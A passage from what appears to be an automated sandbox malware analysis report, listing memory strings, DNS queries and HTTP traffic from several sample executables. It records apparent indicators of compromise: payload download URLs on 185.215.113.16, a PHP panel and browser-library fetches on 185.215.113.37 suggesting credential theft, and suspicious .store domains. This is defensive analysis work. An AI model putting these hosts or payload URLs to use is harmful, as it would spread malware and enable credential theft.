SDK) equals www.youtube.com (Youtube)
Source: 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: in.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3211314720.000001EE306AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3191656453.000001EE2FFA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3182930609.000001EE2F6AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3303799026.000022F09F800000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.comZ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3182930609.000001EE2F6AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3303799026.000022F09F800000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3303799026.000022F09F800000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.comZ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3191656453.000001EE2FF1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3211314720.000001EE306D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3191656453.000001EE2FFBA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: clearancek.site
Source: global traffic	DNS traffic detected: DNS query: mobbipenju.store
Source: global traffic	DNS traffic detected: DNS query: eaglepawnoy.store
Source: global traffic	DNS traffic detected: DNS query: dissapoiznw.store
Source: global traffic	DNS traffic detected: DNS query: studennotediw.store
Source: global traffic	DNS traffic detected: DNS query: bathdoomgaz.store
Source: global traffic	DNS traffic detected: DNS query: spirittunek.store
Source: global traffic	DNS traffic detected: DNS query: licendfilteo.site
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: sergei-esenin.com
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: support.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: us-west1.prod.sumo.prod.webservices.mozgcp.net

Source: unknown

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 23 Oct 2024 23:08:56 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=klF%2BULpbBC6uRIK%2BwPMl4cFxPm9I9wkBu4QjuXdk7kvlmWtxdsm%2FGLyHN7SLmviQK5ZDsI%2BwTwJk8SmZ70ZT7QbWv0Q4L4V56BYb40EoSvmh48Kt6TWSEiRnJCeYltWLJUFJMg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d7564536bd647a8-DFW
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 23 Oct 2024 23:10:29 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Frm2wNIn7%2Bb7bCmdInhQ6j%2FV3rnX7rR6vhOST3FpzxrVkPnfpcXff6nr2HlPtzEVaoSpynIW4A0CsfGvpcROiGo2jbdqq1VFmRvbkvna0BDCTfMezV6biHrjuZLUyMGPWfU2sA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d75669beb8e45ef-DFW

Source: firefox.exe, 0000001A.00000003.3038131291.000001EE368E8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3038131291.000001EE368F6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3135741496.000001EE1EA6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3200993052.000001EE30134000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: 2ffb915ad7.exe, 0000000C.00000003.3186750696.0000000000C99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: 2ffb915ad7.exe, 0000000C.00000003.3185765626.0000000000D26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000003.2197927966.00000000011AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe3
Source: 2ffb915ad7.exe, 0000000C.00000003.3185616243.0000000000D10000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3185765626.0000000000D26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe3)
Source: file.exe, 00000000.00000003.2197927966.00000000011AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe7tE
Source: file.exe, file.exe, 00000000.00000003.2197927966.00000000011AD000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3185616243.0000000000D10000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3185765626.0000000000D26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000003.2197927966.00000000011AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeSerq
Source: file.exe, file.exe, 00000000.00000003.2197927966.00000000011AD000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3185616243.0000000000D10000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3185765626.0000000000D26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: file.exe, 00000000.00000003.2197927966.00000000011AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe5
Source: file.exe, 00000000.00000003.2197927966.00000000011AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exen
Source: file.exe, 00000000.00000003.2197927966.00000000011AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exet
Source: 2ffb915ad7.exe, 0000000C.00000003.3186750696.0000000000C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/mine/random.exeft
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2467756914.00000000006FB000.00000040.00000001.01000000.00000008.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.00000000012CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001327000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001327000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dll
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001327000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dll
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001327000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dll4_=
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001327000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dll
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001327000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dllp
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001316000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dll
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001316000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dllV
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001327000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dll
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001327000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dll
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001327000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001327000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dllmGI
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php3cb
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001327000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php6c
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001327000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpFc
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpRb2
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpfGb
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001327000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpnc
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2467756914.00000000006FB000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phption:
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpub
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpwser
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2467756914.00000000006FB000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: http://185.215.113.37e2b1563c6670f193.phption:
Source: firefox.exe, 0000001A.00000003.3060200442.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3065117194.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3292321816.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.0/
Source: firefox.exe, 0000001A.00000003.3060200442.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3065117194.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3292321816.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.1/
Source: firefox.exe, 0000001A.00000003.3060200442.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3065117194.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3292321816.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.0/
Source: firefox.exe, 0000001A.00000003.3060200442.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3065117194.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3292321816.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.1/
Source: file.exe, 00000000.00000003.2092575552.0000000005AD1000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3053258426.00000000052A8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3179136668.000001EE2F2E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.2092575552.0000000005AD1000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3053258426.00000000052A8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3179136668.000001EE2F2E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.2092575552.0000000005AD1000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3053258426.00000000052A8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3179136668.000001EE2F2E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.2092575552.0000000005AD1000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3053258426.00000000052A8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3179136668.000001EE2F2E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.2092575552.0000000005AD1000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3053258426.00000000052A8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3179136668.000001EE2F2E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.2092575552.0000000005AD1000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3053258426.00000000052A8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3179136668.000001EE2F2E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.2092575552.0000000005AD1000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3053258426.00000000052A8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3179136668.000001EE2F2E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 0000001A.00000002.3158695006.000001EE2DDEC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3208617348.000001EE3044F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3186210081.000001EE2F8F5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3275863196.000001EE31439000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3281572307.000001EE3219D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3212142870.000001EE30724000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3158695006.000001EE2DD03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 0000001A.00000002.3211314720.000001EE30654000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/
Source: firefox.exe, 0000001A.00000003.3060200442.000001EE368B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3262576648.000001EE31103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3065117194.000001EE368BB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3208617348.000001EE304DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3292321816.000001EE368C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3177054689.000001EE2EF03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3283280261.000001EE32245000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3182930609.000001EE2F6C7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 0000001A.00000002.3182930609.000001EE2F635000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3292321816.000001EE368C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3200993052.000001EE3016D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3275863196.000001EE3141C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3211314720.000001EE30668000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 0000001A.00000002.3182930609.000001EE2F635000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3292321816.000001EE368C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3269826039.000001EE313CF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3200993052.000001EE3016D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3275863196.000001EE3141C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3212142870.000001EE307B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 0000001A.00000002.3155908623.000001EE2D9B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListenerFailed
Source: firefox.exe, 0000001A.00000002.3155908623.000001EE2D9B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListenerThe
Source: firefox.exe, 0000001A.00000002.3135741496.000001EE1EA03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/strings
Source: firefox.exe, 0000001A.00000002.3281572307.000001EE321C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3283280261.000001EE32209000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3172048446.000001EE2E8FC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3083659501.000001EE30859000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3181214357.000001EE2F331000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3098794040.000001EE305E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3008261377.000001EE2F0C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3008362892.000001EE2F0A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB1C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3089658099.000001EE30839000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3174360577.000001EE2EB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3098010578.000001EE309B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3162815277.000001EE2E437000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3281572307.000001EE32161000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3083659501.000001EE30837000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3177527970.000001EE2F05F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3214859030.000001EE30903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3209902182.000001EE3050E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3262576648.000001EE3115F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3290309794.000001EE36746000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: firefox.exe, 0000001A.00000002.3123060726.00000051107D8000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/Q
Source: file.exe, 00000000.00000003.2092575552.0000000005AD1000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3053258426.00000000052A8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3179136668.000001EE2F2E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.2092575552.0000000005AD1000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3053258426.00000000052A8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3179136668.000001EE2F2E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841267839.0000000001627000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841267839.0000000001627000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3118685183.0000000000D17000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3072586659.0000000000D13000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3003093031.0000000000D14000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3073546005.0000000000D13000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3084450142.0000000000D16000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3024816414.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3105369249.0000000000D17000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3084864515.0000000000D17000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2999075528.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841267839.0000000001627000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2499679717.000000006F8DD000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
